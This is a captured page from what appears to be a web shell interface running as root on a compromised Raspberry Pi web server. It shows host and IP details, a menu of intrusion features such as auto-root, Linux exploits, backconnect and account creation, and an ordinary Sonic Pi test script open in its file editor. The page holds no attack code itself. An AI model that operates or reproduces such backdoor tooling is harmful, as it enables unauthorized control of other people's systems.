Linux lorencats.com 5.10.103-v7l+ #1529 SMP Tue Mar 8 12:24:00 GMT 2022 armv7l
Apache/2.4.59 (Raspbian)
: 10.0.0.29 | : 216.73.216.10
Cant Read [ /etc/named.conf ]
7.3.31-1~deb10u7
root
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
lib /
sonic-pi /
server /
bin /
[ HOME SHELL ]
Name
Size
Permission
Action
clear-logs.rb
717
B
-rw-r--r--
compile-extensions.rb
2.93
KB
-rwxr-xr-x
doc.rb
940
B
-rwxr-xr-x
exit-script.rb
847
B
-rw-r--r--
i18n-tool.rb
7.08
KB
-rwxr-xr-x
init-script.rb
863
B
-rw-r--r--
launch-gce
3.58
KB
-rwxr-xr-x
port-discovery.rb
1.95
KB
-rw-r--r--
qt-doc.rb
9.47
KB
-rwxr-xr-x
sonic-pi-server.rb
15.23
KB
-rwxr-xr-x
task-clear.rb
3.1
KB
-rw-r--r--
task-register.rb
1.02
KB
-rw-r--r--
test.rb
4.23
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : test.rb
#!/usr/bin/env ruby #-- # This file is part of Sonic Pi: http://sonic-pi.net # Full project source: https://github.com/samaaron/sonic-pi # License: https://github.com/samaaron/sonic-pi/blob/master/LICENSE.md # # Copyright 2013, 2014, 2015, 2016 by Sam Aaron (http://sam.aaron.name). # All rights reserved. # # Permission is granted for use, copying, modification, and # distribution of modified versions of this work as long as this # notice is included. #++ require_relative "../core.rb" require_relative "../lib/sonicpi/studio" require_relative "../lib/sonicpi/spider" require_relative "../lib/sonicpi/spiderapi" require_relative "../lib/sonicpi/server" require_relative "../lib/sonicpi/util" require_relative "../lib/sonicpi/rcv_dispatch" #Thread.abort_on_exception=true include SonicPi::Util ws_out = Queue.new $scsynth = SonicPi::SCSynth.instance $c = OSC::Client.new("127.0.0.1", 4556) at_exit do $c.send(OSC::Message.new("/quit")) end $c.send(OSC::Message.new("/d_loadDir", synthdef_path)) sleep 2 user_methods = Module.new name = "SonicPiSpiderUser1" # this should be autogenerated klass = Object.const_set name, Class.new(SonicPi::Spider) klass.send(:include, user_methods) klass.send(:include, SonicPi::SpiderAPI) $sp = klass.new "127.0.0.1", 4556, ws_out, 5, user_methods $rd = SonicPi::RcvDispatch.new($sp, ws_out) $clients = [] # Send stuff out from Sonic Pi jobs out to GUI out_t = Thread.new do continue = true while continue begin message = ws_out.pop message[:ts] = Time.now.strftime("%H:%M:%S") if message[:type] == :exit continue = false else puts message end rescue Exception => e puts "Exception!" puts e.message puts e.backtrace.inspect end end end Thread.new do f = File.open("/tmp/gc.txt", 'w') loop do f.puts GC.stat f.flush sleep 2 end end def test_simple $rd.dispatch({:cmd => "run-code", :val => "play 60"}) end def test_multi_osc $rd.dispatch({:cmd => "run-code", :val => "loop do ; status ; sleep 0.025 ; end"}) end def test_multi_play $rd.dispatch({:cmd => "run-code", :val => "loop do ; play 60 ; sleep 0.025 ; end"}) end def test_multi_threads $rd.dispatch({:cmd => "run-code", :val => "loop do ; in_thread do ; play 60 ; sleep 3 ; end ; sleep 0.025 ; end"}) end def test_multi_similarly_named_threads $rd.dispatch({:cmd => "run-code", :val => "loop do ; in_thread(name: :foo) do ; play 60 ; sleep 3 ; end ; sleep 0.025 ; end"}) end def test_multi_differently_named_threads $rd.dispatch({:cmd => "run-code", :val => "loop do ; in_thread(name: rand) do ; play 60 ; sleep 3 ; end ; sleep 0.025 ; end"}) end def test_multi_inner_threads $rd.dispatch({:cmd => "run-code", :val => "loop do ; in_thread do ; in_thread do ; play 60 ; end ; end ; sleep 0.025 ; end"}) end def test_multi_jobs loop do $rd.dispatch({:cmd => "run-code", :val => "play 60"}) sleep 0.025 end end def test_multi_with_fx $rd.dispatch({:cmd => "run-code", :val => "loop do ; with_fx :slicer do ; play 60 ; sleep 0.025 ; end ; end"}) end def test_stopping_within_fx_block loop do $rd.dispatch({:cmd => "run-code", :val => "with_fx do ; loop do ; play 60 ; sleep 5 ; end ; end"}) sleep 1 $rd.dispatch({:cmd => "stop-jobs"}) sleep 1 end end def test_exception_throwing loop do $rd.dispatch({:cmd => "run-code", :val => "play 60 ; 1/0"}) sleep 0.025 end end def test_exception_throwing_within_subthread loop do $rd.dispatch({:cmd => "run-code", :val => "play 60 ; in_thread do ; 1/0 ; end"}) sleep 0.025 end end def test_all_jobs_stopping loop do $rd.dispatch({:cmd => "run-code", :val => "loop do ; play 60 ; sleep 0.025 ; end"}) sleep 3 $rd.dispatch({:cmd => "stop-jobs"}) sleep 1 end end #test_simple #test_multi_osc #test_multi_play #test_multi_threads #test_multi_similarly_named_threads #test_multi_differently_named_threads #test_multi_inner_threads #test_multi_jobs test_multi_with_fx #test_exception_throwing #test_exception_throwing_within_subthread #test_all_jobs_stopping out_t.join
Close